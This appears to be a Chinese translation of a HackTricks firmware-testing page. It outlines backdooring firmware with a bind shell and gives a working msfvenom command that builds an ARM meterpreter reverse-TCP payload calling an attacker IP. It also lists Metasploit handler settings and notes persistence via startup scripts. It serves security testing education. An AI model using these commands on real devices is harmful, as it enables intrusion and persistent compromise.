hacktricks/physical-attacks/firmware-analysis/firmware-integrity.md

4.9 KiB
Raw Blame History

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击直到成为英雄

支持HackTricks的其他方式

本页面内容复制自 https://scriptingxss.gitbook.io/firmware-security-testing-methodology/

尝试上传自定义固件和/或编译后的二进制文件检查完整性或签名验证漏洞。例如使用以下步骤编译一个在启动时运行的后门绑定shell。

  1. 使用固件修改工具包FMK提取固件
  2. 确定目标固件的架构和字节序
  3. 使用Buildroot构建交叉编译器或使用适合您环境的其他方法
  4. 使用交叉编译器构建后门
  5. 将后门复制到提取的固件的/usr/bin目录
  6. 将适当的QEMU二进制文件复制到提取的固件rootfs
  7. 使用chroot和QEMU模拟后门
  8. 使用netcat连接到后门
  9. 从提取的固件rootfs中移除QEMU二进制文件
  10. 使用FMK重新打包修改后的固件
  11. 通过使用固件分析工具包FAT模拟后门固件并使用netcat连接到目标后门IP和端口来测试后门固件

如果已经通过动态分析、引导程序操作或硬件安全测试等手段获得了root shell尝试执行预编译的恶意二进制文件如植入物或反向shell。考虑使用用于命令和控制C&C框架的自动化payload/植入工具。例如可以使用Metasploit框架和'msfvenom',按照以下步骤操作。

  1. 确定目标固件的架构和字节序
  2. 使用msfvenom指定适当的目标payload (-p)攻击者主机IP (LHOST=),监听端口号 (LPORT=),文件类型 (-f),架构 (--arch),平台 (--platform linux或windows),以及输出文件 (-o)。例如,msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
  3. 将payload传输到被攻陷的设备例如运行一个本地web服务器并使用wget/curl将payload下载到文件系统并确保payload具有执行权限
  4. 准备Metasploit来处理传入请求。例如使用msfconsole启动Metasploit并根据上述payload设置以下参数使用exploit/multi/handler
  • set payload linux/armle/meterpreter_reverse_tcp
  • set LHOST 192.168.1.245 #攻击者主机IP
  • set LPORT 445 #可以是任何未使用的端口
  • set ExitOnSession false
  • exploit -j -z
  1. 在被攻陷的设备上执行meterpreter反向🐚
  2. 观察meterpreter会话开启
  3. 进行后期利用活动

如果可能的话,识别启动脚本中的漏洞,以在设备重启后获得持久访问权限。当启动脚本引用、符号链接或依赖于位于不受信任的挂载位置如用于存储根文件系统之外数据的SD卡和闪存卷中的代码时就会出现此类漏洞。

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击直到成为英雄

支持HackTricks的其他方式